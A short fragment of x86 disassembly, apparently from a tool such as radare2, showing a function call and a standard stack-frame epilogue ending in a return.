mov eax, dword [ebp - 0xc]
call fcn.00405190
ret
movzx eax, byte [ebp - 1]
pop ebx
mov esp, ebp
pop ebp
ret